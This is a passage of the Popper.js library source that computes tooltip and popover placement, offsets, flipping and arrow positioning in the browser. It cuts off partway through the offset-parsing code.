padding;\n  boundaries.top += padding;\n  boundaries.right -= padding;\n  boundaries.bottom -= padding;\n\n  return boundaries;\n}\n\nfunction getArea(_ref) {\n  var width = _ref.width,\n      height = _ref.height;\n\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {\n  var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;\n\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  var boundaries = getBoundaries(popper, reference, padding, boundariesElement);\n\n  var rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height\n    }\n  };\n\n  var sortedAreas = Object.keys(rects).map(function (key) {\n    return _extends({\n      key: key\n    }, rects[key], {\n      area: getArea(rects[key])\n    });\n  }).sort(function (a, b) {\n    return b.area - a.area;\n  });\n\n  var filteredAreas = sortedAreas.filter(function (_ref2) {\n    var width = _ref2.width,\n        height = _ref2.height;\n    return width >= popper.clientWidth && height >= popper.clientHeight;\n  });\n\n  var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;\n\n  var variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? '-' + variation : '');\n}\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nfunction getReferenceOffsets(state, popper, reference) {\n  var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;\n\n  var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n\n/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nfunction getOuterSizes(element) {\n  var styles = getComputedStyle(element);\n  var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  var result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x\n  };\n  return result;\n}\n\n/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nfunction getOppositePlacement(placement) {\n  var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, function (matched) {\n    return hash[matched];\n  });\n}\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nfunction getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  var popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  var popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  var isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  var mainSide = isHoriz ? 'top' : 'left';\n  var secondarySide = isHoriz ? 'left' : 'top';\n  var measurement = isHoriz ? 'height' : 'width';\n  var secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n\n/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(function (cur) {\n      return cur[prop] === value;\n    });\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  var match = find(arr, function (obj) {\n    return obj[prop] === value;\n  });\n  return arr.indexOf(match);\n}\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nfunction runModifiers(modifiers, data, ends) {\n  var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(function (modifier) {\n    if (modifier['function']) {\n      // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nfunction update() {\n  // if popper is destroyed, don't perform any further update\n  if (this.state.isDestroyed) {\n    return;\n  }\n\n  var data = {\n    instance: this,\n    styles: {},\n    arrowStyles: {},\n    attributes: {},\n    flipped: false,\n    offsets: {}\n  };\n\n  // compute reference element offsets\n  data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference, this.options.positionFixed);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding);\n\n  // store the computed placement inside `originalPlacement`\n  data.originalPlacement = data.placement;\n\n  data.positionFixed = this.options.positionFixed;\n\n  // compute the popper offsets\n  data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement);\n  data.offsets.popper.position = this.options.positionFixed ? 'fixed' : 'absolute';\n\n  // run the modifiers\n  data = runModifiers(this.modifiers, data);\n\n  // the first `update` will call `onCreate` callback\n  // the other ones will call `onUpdate` callback\n  if (!this.state.isCreated) {\n    this.state.isCreated = true;\n    this.options.onCreate(data);\n  } else {\n    this.options.onUpdate(data);\n  }\n}\n\n/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nfunction isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(function (_ref) {\n    var name = _ref.name,\n        enabled = _ref.enabled;\n    return enabled && name === modifierName;\n  });\n}\n\n/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nfunction getSupportedPropertyName(property) {\n  var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  var upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (var i = 0; i < prefixes.length; i++) {\n    var prefix = prefixes[i];\n    var toCheck = prefix ? '' + prefix + upperProp : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n\n/**\n * Destroy the popper\n * @method\n * @memberof Popper\n */\nfunction destroy() {\n  this.state.isDestroyed = true;\n\n  // touch DOM only if `applyStyle` modifier is enabled\n  if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n    this.popper.removeAttribute('x-placement');\n    this.popper.style.position = '';\n    this.popper.style.top = '';\n    this.popper.style.left = '';\n    this.popper.style.right = '';\n    this.popper.style.bottom = '';\n    this.popper.style.willChange = '';\n    this.popper.style[getSupportedPropertyName('transform')] = '';\n  }\n\n  this.disableEventListeners();\n\n  // remove the popper if user explicity asked for the deletion on destroy\n  // do not use `remove` because IE11 doesn't support it\n  if (this.options.removeOnDestroy) {\n    this.popper.parentNode.removeChild(this.popper);\n  }\n  return this;\n}\n\n/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nfunction getWindow(element) {\n  var ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  var isBody = scrollParent.nodeName === 'BODY';\n  var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction setupEventListeners(reference, options, state, updateBound) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  var scrollElement = getScrollParent(reference);\n  attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nfunction enableEventListeners() {\n  if (!this.state.eventsEnabled) {\n    this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate);\n  }\n}\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(function (target) {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger onUpdate callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nfunction disableEventListeners() {\n  if (this.state.eventsEnabled) {\n    cancelAnimationFrame(this.scheduleUpdate);\n    this.state = removeEventListeners(this.reference, this.state);\n  }\n}\n\n/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nfunction isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setStyles(element, styles) {\n  Object.keys(styles).forEach(function (prop) {\n    var unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n\n/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function (prop) {\n    var value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nfunction applyStyle(data) {\n  // any property present in `data.styles` will be applied to the popper,\n  // in this way we can make the 3rd party modifiers add custom styles to it\n  // Be aware, modifiers could override the properties defined in the previous\n  // lines of this modifier!\n  setStyles(data.instance.popper, data.styles);\n\n  // any property present in `data.attributes` will be applied to the popper,\n  // they will be set as HTML attributes of the element\n  setAttributes(data.instance.popper, data.attributes);\n\n  // if arrowElement is defined and arrowStyles has some properties\n  if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n    setStyles(data.arrowElement, data.arrowStyles);\n  }\n\n  return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nfunction applyStyleOnLoad(reference, popper, options, modifierOptions, state) {\n  // compute reference element offsets\n  var referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding);\n\n  popper.setAttribute('x-placement', placement);\n\n  // Apply `position` to popper before anything else because\n  // without the position applied we can't guarantee correct computations\n  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n  return options;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeStyle(data, options) {\n  var x = options.x,\n      y = options.y;\n  var popper = data.offsets.popper;\n\n  // Remove this legacy support in Popper.js v2\n\n  var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) {\n    return modifier.name === 'applyStyle';\n  }).gpuAcceleration;\n  if (legacyGpuAccelerationOption !== undefined) {\n    console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');\n  }\n  var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration;\n\n  var offsetParent = getOffsetParent(data.instance.popper);\n  var offsetParentRect = getBoundingClientRect(offsetParent);\n\n  // Styles\n  var styles = {\n    position: popper.position\n  };\n\n  // floor sides to avoid blurry text\n  var offsets = {\n    left: Math.floor(popper.left),\n    top: Math.floor(popper.top),\n    bottom: Math.floor(popper.bottom),\n    right: Math.floor(popper.right)\n  };\n\n  var sideA = x === 'bottom' ? 'top' : 'bottom';\n  var sideB = y === 'right' ? 'left' : 'right';\n\n  // if gpuAcceleration is set to `true` and transform is supported,\n  //  we use `translate3d` to apply the position to the popper we\n  // automatically use the supported prefixed version if needed\n  var prefixedProperty = getSupportedPropertyName('transform');\n\n  // now, let's make a step back and look at this code closely (wtf?)\n  // If the content of the popper grows once it's been positioned, it\n  // may happen that the popper gets misplaced because of the new content\n  // overflowing its reference element\n  // To avoid this problem, we provide two options (x and y), which allow\n  // the consumer to define the offset origin.\n  // If we position a popper on top of a reference element, we can set\n  // `x` to `top` to make the popper grow towards its top instead of\n  // its bottom.\n  var left = void 0,\n      top = void 0;\n  if (sideA === 'bottom') {\n    top = -offsetParentRect.height + offsets.bottom;\n  } else {\n    top = offsets.top;\n  }\n  if (sideB === 'right') {\n    left = -offsetParentRect.width + offsets.right;\n  } else {\n    left = offsets.left;\n  }\n  if (gpuAcceleration && prefixedProperty) {\n    styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';\n    styles[sideA] = 0;\n    styles[sideB] = 0;\n    styles.willChange = 'transform';\n  } else {\n    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n    var invertTop = sideA === 'bottom' ? -1 : 1;\n    var invertLeft = sideB === 'right' ? -1 : 1;\n    styles[sideA] = top * invertTop;\n    styles[sideB] = left * invertLeft;\n    styles.willChange = sideA + ', ' + sideB;\n  }\n\n  // Attributes\n  var attributes = {\n    'x-placement': data.placement\n  };\n\n  // Update `data` attributes, styles and arrowStyles\n  data.attributes = _extends({}, attributes, data.attributes);\n  data.styles = _extends({}, styles, data.styles);\n  data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles);\n\n  return data;\n}\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nfunction isModifierRequired(modifiers, requestingName, requestedName) {\n  var requesting = find(modifiers, function (_ref) {\n    var name = _ref.name;\n    return name === requestingName;\n  });\n\n  var isRequired = !!requesting && modifiers.some(function (modifier) {\n    return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;\n  });\n\n  if (!isRequired) {\n    var _requesting = '`' + requestingName + '`';\n    var requested = '`' + requestedName + '`';\n    console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');\n  }\n  return isRequired;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction arrow(data, options) {\n  var _data$offsets$arrow;\n\n  // arrow depends on keepTogether in order to work\n  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n    return data;\n  }\n\n  var arrowElement = options.element;\n\n  // if arrowElement is a string, suppose it's a CSS selector\n  if (typeof arrowElement === 'string') {\n    arrowElement = data.instance.popper.querySelector(arrowElement);\n\n    // if arrowElement is not found, don't run the modifier\n    if (!arrowElement) {\n      return data;\n    }\n  } else {\n    // if the arrowElement isn't a query selector we must check that the\n    // provided DOM node is child of its popper node\n    if (!data.instance.popper.contains(arrowElement)) {\n      console.warn('WARNING: `arrow.element` must be child of its popper element!');\n      return data;\n    }\n  }\n\n  var placement = data.placement.split('-')[0];\n  var _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n  var len = isVertical ? 'height' : 'width';\n  var sideCapitalized = isVertical ? 'Top' : 'Left';\n  var side = sideCapitalized.toLowerCase();\n  var altSide = isVertical ? 'left' : 'top';\n  var opSide = isVertical ? 'bottom' : 'right';\n  var arrowElementSize = getOuterSizes(arrowElement)[len];\n\n  //\n  // extends keepTogether behavior making sure the popper and its\n  // reference have enough pixels in conjuction\n  //\n\n  // top/left side\n  if (reference[opSide] - arrowElementSize < popper[side]) {\n    data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize);\n  }\n  // bottom/right side\n  if (reference[side] + arrowElementSize > popper[opSide]) {\n    data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide];\n  }\n  data.offsets.popper = getClientRect(data.offsets.popper);\n\n  // compute center of the popper\n  var center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n  // Compute the sideValue using the updated popper offsets\n  // take popper margin in account because we don't have this info available\n  var css = getStyleComputedProperty(data.instance.popper);\n  var popperMarginSide = parseFloat(css['margin' + sideCapitalized], 10);\n  var popperBorderSide = parseFloat(css['border' + sideCapitalized + 'Width'], 10);\n  var sideValue = center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n  // prevent arrowElement from being placed not contiguously to its popper\n  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n  data.arrowElement = arrowElement;\n  data.offsets.arrow = (_data$offsets$arrow = {}, defineProperty(_data$offsets$arrow, side, Math.round(sideValue)), defineProperty(_data$offsets$arrow, altSide, ''), _data$offsets$arrow);\n\n  return data;\n}\n\n/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nfunction getOppositeVariation(variation) {\n  if (variation === 'end') {\n    return 'start';\n  } else if (variation === 'start') {\n    return 'end';\n  }\n  return variation;\n}\n\n/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-right` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nvar placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start'];\n\n// Get rid of `auto` `auto-start` and `auto-end`\nvar validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nfunction clockwise(placement) {\n  var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n  var index = validPlacements.indexOf(placement);\n  var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index));\n  return counter ? arr.reverse() : arr;\n}\n\nvar BEHAVIORS = {\n  FLIP: 'flip',\n  CLOCKWISE: 'clockwise',\n  COUNTERCLOCKWISE: 'counterclockwise'\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction flip(data, options) {\n  // if `inner` modifier is enabled, we can't use the `flip` modifier\n  if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n    return data;\n  }\n\n  if (data.flipped && data.placement === data.originalPlacement) {\n    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n    return data;\n  }\n\n  var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement, data.positionFixed);\n\n  var placement = data.placement.split('-')[0];\n  var placementOpposite = getOppositePlacement(placement);\n  var variation = data.placement.split('-')[1] || '';\n\n  var flipOrder = [];\n\n  switch (options.behavior) {\n    case BEHAVIORS.FLIP:\n      flipOrder = [placement, placementOpposite];\n      break;\n    case BEHAVIORS.CLOCKWISE:\n      flipOrder = clockwise(placement);\n      break;\n    case BEHAVIORS.COUNTERCLOCKWISE:\n      flipOrder = clockwise(placement, true);\n      break;\n    default:\n      flipOrder = options.behavior;\n  }\n\n  flipOrder.forEach(function (step, index) {\n    if (placement !== step || flipOrder.length === index + 1) {\n      return data;\n    }\n\n    placement = data.placement.split('-')[0];\n    placementOpposite = getOppositePlacement(placement);\n\n    var popperOffsets = data.offsets.popper;\n    var refOffsets = data.offsets.reference;\n\n    // using floor because the reference offsets may contain decimals we are not going to consider here\n    var floor = Math.floor;\n    var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom);\n\n    var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n    var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n    var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n    var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n    var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom;\n\n    // flip the variation if required\n    var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n    var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom);\n\n    if (overlapsRef || overflowsBoundaries || flippedVariation) {\n      // this boolean to detect any flip loop\n      data.flipped = true;\n\n      if (overlapsRef || overflowsBoundaries) {\n        placement = flipOrder[index + 1];\n      }\n\n      if (flippedVariation) {\n        variation = getOppositeVariation(variation);\n      }\n\n      data.placement = placement + (variation ? '-' + variation : '');\n\n      // this object contains `position`, we want to preserve it along with\n      // any additional property we may add in the future\n      data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement));\n\n      data = runModifiers(data.instance.modifiers, data, 'flip');\n    }\n  });\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction keepTogether(data) {\n  var _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var placement = data.placement.split('-')[0];\n  var floor = Math.floor;\n  var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n  var side = isVertical ? 'right' : 'bottom';\n  var opSide = isVertical ? 'left' : 'top';\n  var measurement = isVertical ? 'width' : 'height';\n\n  if (popper[side] < floor(reference[opSide])) {\n    data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement];\n  }\n  if (popper[opSide] > floor(reference[side])) {\n    data.offsets.popper[opSide] = floor(reference[side]);\n  }\n\n  return data;\n}\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nfunction toValue(str, measurement, popperOffsets, referenceOffsets) {\n  // separate value from unit\n  var split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n  var value = +split[1];\n  var unit = split[2];\n\n  // If it's not a number it's an operator, I guess\n  if (!value) {\n    return str;\n  }\n\n  if (unit.indexOf('%') === 0) {\n    var element = void 0;\n    switch (unit) {\n      case '%p':\n        element = popperOffsets;\n        break;\n      case '%':\n      case '%r':\n      default:\n        element = referenceOffsets;\n    }\n\n    var rect = getClientRect(element);\n    return rect[measurement] / 100 * value;\n  } else if (unit === 'vh' || unit === 'vw') {\n    // if is a vh or vw, we calculate the size based on the viewport\n    var size = void 0;\n    if (unit === 'vh') {\n      size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);\n    } else {\n      size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);\n    }\n    return size / 100 * value;\n  } else {\n    // if is an explicit pixel unit, we get rid of the unit and keep the value\n    // if is an implicit unit, it's px, and we return just the value\n    return value;\n  }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nfunction parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) {\n  var offsets = [0, 0];\n\n  // Use height if placement is left or right and index is 0 otherwise use width\n  // in this way the first offset will use an axis and the second one\n  // will use the other one\n  var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n  // Split the offset string to obtain a list of values and operands\n  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n  var fragments = offset.split(/(\\+|\\-)/).map(function (frag) {\n    return frag.trim();\n  });\n\n  // Detect if the offset string contains a pair of values or a single one\n  // they could be separated by comma or space\n  var divider = fragments.indexOf(find(fragments, function (frag) {\n    return frag.search(/,|\\s/) !== -1;\n  }));\n\n  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n    console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');\n  }\n\n  // If divider is found, we divide the list of values and operands to divide\n  // them by ofset X and Y.\n  var splitRegex = /\\s*,\\s*|\\s+/;\n  var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments];\n\n  // Convert the values with units to absolute pixels to allow our computations\n  ops = ops.map(function (op, index) {\n    // Most of the units rely on the orientation of the popper\n    var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width';\n    var 